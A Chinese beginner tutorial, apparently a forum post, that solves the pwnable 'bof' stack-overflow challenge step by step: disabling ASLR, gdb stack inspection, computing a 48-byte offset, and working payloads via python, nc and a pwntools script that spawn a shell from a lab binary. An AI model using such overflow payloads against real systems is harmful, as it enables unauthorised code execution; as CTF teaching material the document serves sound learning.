作者:dxbaicai
上一篇中我们介绍了PWN的基础环境:
从0开始CTF-PWN(一)——基础环境准备
本篇会从PWN的HelloWorld——栈溢出漏洞开始,进行新手教程,由于我也是刚学习,所以理解上也是从新手的角度出发的,一些理解不到位的地方,恳请各位大神指正,我会及时修订。
为了降低入门难度,会关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。
# 注意,下面是临时修改方案,系统重启后会被重置为2 echo 0 > /proc/sys/kernel/randomize_va_space
在实验环境创建.c源代码文件,使用如下命令进行编译。
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o [可执行文件名] [源文件名]
知识点-编译参数说明
我们来看这样一段程序,来自PWN著名站点pwnable的经典程序bof,下载下来代码如下:
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
我们先简单读一下这段代码,main函数中调用了func函数,但参数为0xdeadbeef,func函数中定义了一个char overflowme[32]的32位字符数组,调用gets函数获取用户的输入,如果key参数是0xcafebabe,则返回shell。可以看到我们的目的就是想办法使得参数key等于0xcafebabe,这样就能get shell,但是key在main函数调用时写死了,有什么办法可以改动吗?
注意这句gets(overflowme);,会将我们输入的内容填入overflowme字符数组,如果填入超过32位的定义长度,就会发生栈溢出。
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o bof_32-gcc4.8 bof.c注:本题pwnable官网是打开了栈保护和栈不可执行(通过checksec可以查看),但是我们本地环境编译时是关闭的,会造成栈偏离量略有不同,但思路是相同的。
# 说明 1. 随着函数执行,地址从高地址向低地址增长。 2. esp寄存器指向栈顶。 3. 按先进后出原则,调用函数(caller)先入栈,被调用函数(callee)后入栈。
上面说的可能还是太抽象了,最好的办法就是自己动手调试跟踪一下程序运行过程中栈的变化情况,因为栈结构的理解在PWN中是基础的基础,非常重要,所以这里建议大家一定要自己调试一下去理解这一变化过程。
使用gdb开始调试
gdb -q bof_32-gcc4.8 # 调试的一开始输入(gdb8.0以上版本必须加,否则会导致断点设置失败) (gdb) starti
使用disassemble查看函数汇编代码
# 查看main函数 (gdb) disassemble main # 查看func函数 (gdb) disassemble func
在main函数调用func函数的地方下断点,观察此时的栈结构
左侧为eip指令的地址,我们给0x080491ef这条call func指令下断点,然后r运行,程序会到断点处停下。
# 下断点 (gdb) b *0x080491ef # 运行 (gdb) r
此时查看栈信息,可以看到如之前描述,栈顶存放的是main函数中func(0xdeadbeef)的参数。
(gdb) stack
(gdb) stepi
和main函数中进行对比,发现一致。
知识点-gdb调试工具常用指令
# 检查开启了哪些保护 (gdb) checksec 输出: CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial # 对进程调试 gdb attach [pid] # 调试的一开始输入(gdb8.0以上版本必须加,否则会导致断点设置失败) starti # 查看main函数 (gdb) disassemble main # 命令将函数代码和汇编指令映射起来 disassemble /m func # 增加断点 (gdb) b *[address] # 运行 (gdb) r # 查看esp内容(以16进制查看$esp地址处2个单位的内容,每个单位4个字节) (gdb) x/2wx $esp # 显示寄存器指向的地址 p $寄存器:显示寄存器指向的地址 # 显示寄存器内容 用x命令可以显示内容,“x/格式 地址”。 x $pc:显示程序指针内容 x/i $pc:显示程序指针汇编。 x/10i $pc:显示程序指针之后10条指令。 # 继续执行 (gdb) c # 单步调试 (gdb) stepi 或 单步过 (gdb) ni 或 单步入 (gdb) si # 显示当前所有寄存器的值 (gdb) i r # 设置自动显示接下来的要执行的3条指令 (gdb) display /3i $eip # 查询进程信息(一般运行一遍后会加载出libc) (gdb) info proc mappings / (gdb) info proc map ——可以用于查找libc信息 # 从libc中查找关键字 (gdb) find "/bin/sh"
掌握了上面的函数调用过程,回到上面的问题上来,我们要怎么使得key == 0xcafebabe呢?
(gdb) b *0x080491ef # 执行 (gdb) r
(gdb) b *0x080491ba # 继续执行 (gdb) c
可以看到从地址0xffffd5e0开始填充a,计算0xffffd610 - 0xffffd5e0 = 48,即填充48位的padding后,即开始覆盖参数key的值。
(gdb) p/d 0xffffd610 - 0xffffd5e0 # 显示 $1 = 48
(python -c 'print "a"*48 + "\xbe\xba\xfe\xca"'; cat -) | ./bof_32-gcc4.8可以看到成功执行System函数,得到了Shell:
将程序通过socat发布到5555端口
nohup socat tcp4-listen:5555,reuseaddr,fork exec:/home/pwn/test/bof_32-gcc4.8
在虚拟机外执行payload测试
(python -c 'print "a"*48+"\xbe\xba\xfe\xca"'; cat -)|nc 10.211.55.6 5555
成功获得Shell
再次强调,官网由于开启了栈保护,相比本地环境没有开启,会在栈上额外插入4字节的保护内容(padding变为52位),但并不影响解题思路。
这里提供了pwntools攻击的实现,注释已有详细说明。
# coding:utf-8 from pwn import * # 小端序转换函数 def p32_trans_iso_8859_1(value): result = p32(value).decode('iso-8859-1') return result # 设置运行环境 context(arch='amd64', os='linux') # process为本地程序,remote为远程调用 c = process("./bof_32-gcc4.8") payload = 'A'*48 + p32_trans_iso_8859_1(0xcafebabe) #print payload # 向程序发送数据 c.sendline(payload) # 获得shell c.interactive()
通过这样一个栈溢出程序练习,掌握了程序基本的栈调用结构,初步体会到了栈溢出的效果。那么我们继续思考,本题中是直接提供了system("/bin/sh")语句反弹shell,如果没有这句,我们又要怎么获得Shell呢?
[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!
最后于 12小时前 被dxbaicai编辑 ,原因: 附件处理